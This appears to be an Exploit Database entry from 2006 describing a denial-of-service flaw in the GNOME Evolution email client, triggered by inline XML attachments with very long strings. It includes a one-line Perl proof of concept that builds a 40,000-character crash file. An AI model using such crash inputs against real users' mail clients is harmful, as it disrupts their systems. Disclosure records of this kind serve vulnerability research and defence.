GNOME Evolution 2.2.3/2.3.x - Inline XML File Attachment Buffer Overflow

EDB-ID:

27145


Author:

Mike Davis

Type:

dos


Platform:

Linux

Date:

2006-01-28


source: https://www.securityfocus.com/bid/16408/info

GNOME Evolution email client is prone to a denial-of-service vulnerability when processing messages containing inline XML file attachments with excessively long strings. 


perl -e 'printf "A"x40000' > evolution-dos-poc.xml